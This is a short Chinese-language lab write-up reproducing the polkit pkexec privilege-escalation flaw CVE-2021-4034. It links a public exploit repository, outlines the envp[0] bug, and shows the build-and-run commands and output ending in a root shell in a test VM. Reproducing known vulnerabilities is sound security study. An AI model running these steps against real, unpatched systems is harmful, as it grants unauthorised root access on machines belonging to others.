CVE-2021-4034 polkit提权漏洞复现
1.前期准备
Github地址:
bash
https://github.com/berdav/CVE-2021-4034
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中
2.复现
查看是否存在pkexec:
依次运行:
bash
make
./cve-2021-4034
bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
提权成功!